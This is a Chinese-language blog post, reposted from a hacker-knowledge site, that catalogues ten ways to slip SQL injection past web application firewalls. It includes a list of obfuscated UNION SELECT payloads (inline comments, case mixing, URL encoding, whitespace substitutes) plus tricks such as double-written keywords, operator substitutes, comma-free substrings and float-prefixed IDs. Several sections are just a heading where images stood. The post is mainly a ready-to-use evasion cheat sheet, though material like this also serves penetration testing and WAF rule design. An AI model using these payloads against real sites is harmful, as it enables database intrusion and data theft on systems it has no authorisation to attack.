【重磅!】sql注入绕WAF的N种姿势

作者: 黑客网 分类: 黑客知识 发布时间: 2022-05-26 14:28
《sql注入绕WAF的N种姿势》

sql注入绕WAF的N种姿势

本文首发于公众号:白帽子左一

简述

WAF,全称:Web Application Firewall,也称为网站应用级入侵防御系统。

大白话的说,就是利用它内设的安全策略来为web应用程序提供保护的一款产品,那么对于我们来说,如果突破它的安全策略就显得尤为重要。

作为渗透测试人员都知道,在渗透的过程当中,最核心的就是构造自己的输入,然后分析目标返回的结果,从而判断出是否存在相应的问题。

那么WAF的基础检测机制也基于此——检测用户输入的内容,如果输入的内容中包含了一些危险字符,或者说有威胁性的字符,那么WAF就会对此进行拦截。

所以说,改变我们输入的内容形式,就是突破WAF的关键点。

sql注入绕WAF的N种姿势 1.双写绕过

有些waf会对关键词进行过滤,若只过滤1次,则可以双写绕过。

sql注入绕WAF的N种姿势

2.等号like绕过

有的waf会对等于号进行拦截和过滤。

sql注入绕WAF的N种姿势

3.order by 绕过

当 order by 被过滤时,可以使用 into 变量名进行代替。

sql注入绕WAF的N种姿势

4.and/or绕过

主流的 waf 都会对and 、or、xor进行拦截。替代字符:and 等于&&、or 等于 ||、not 等于 !、xor 等于|

sql注入绕WAF的N种姿势

5.union select 绕过

waf 会针对union select 进行拦截。
uNIoN sel<>ect # 程序过滤<>为空 脚本处理
uNi//on sele//ct # 程序过滤//为空
uNIoN /!%53eLEct/ # url 编码与内联注释
uNIoN se%0blect # 使用空格绕过
uNIoN sele%ct # 使用百分号绕过
uNIoN %53eLEct # 编码绕过
uNIoN sELecT 1,2 #大小写绕过
uNIoN all select 1,2 # ALL绕过
uNIoN DISTINCT select 1,2 # 去重复DISTINCT 绕过
null+UNION+SELECT+1,2 # 加号代替空格绕过
/!union//!select/1,2 # 内联注释绕过
/!50000union//!50000select/1,2 # 内联注释绕过
uNIoN/
/select/**/1,2 # 注释代替空格绕过
6.大小写绕过
对关键词设置为大小写即可。 ps:图中冒号起闭合作用,%00起截断作用,都和注释含义类似。

sql注入绕WAF的N种姿势

7.逗号绕过

有些防注入脚本都会逗号进行拦截。变换函数的形式,比如 substr(database(),1,1)—> substr(database() from 1 for 1) ;limit 0,1 —> limit 1 offset 0

sql注入绕WAF的N种姿势

8.等函数替换

当常用函数被waf拦截时,可以使用偏僻函数或者功能相同的其他函数,比如substr()函数被拦截,就可以使用mid函数;报错注入的updatexml()用polygon()函数替换。

sql注入绕WAF的N种姿势

9.浮点数绕过

通过浮点数的形式从而绕过。id=1 union select —> id=1.0union select —> id=1E0union select

sql注入绕WAF的N种姿势

10.添加库名绕过

有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。

如果觉得《sql注入绕WAF的N种姿势》您有用,请随意打赏。您的支持将鼓励我继续创作!

标签云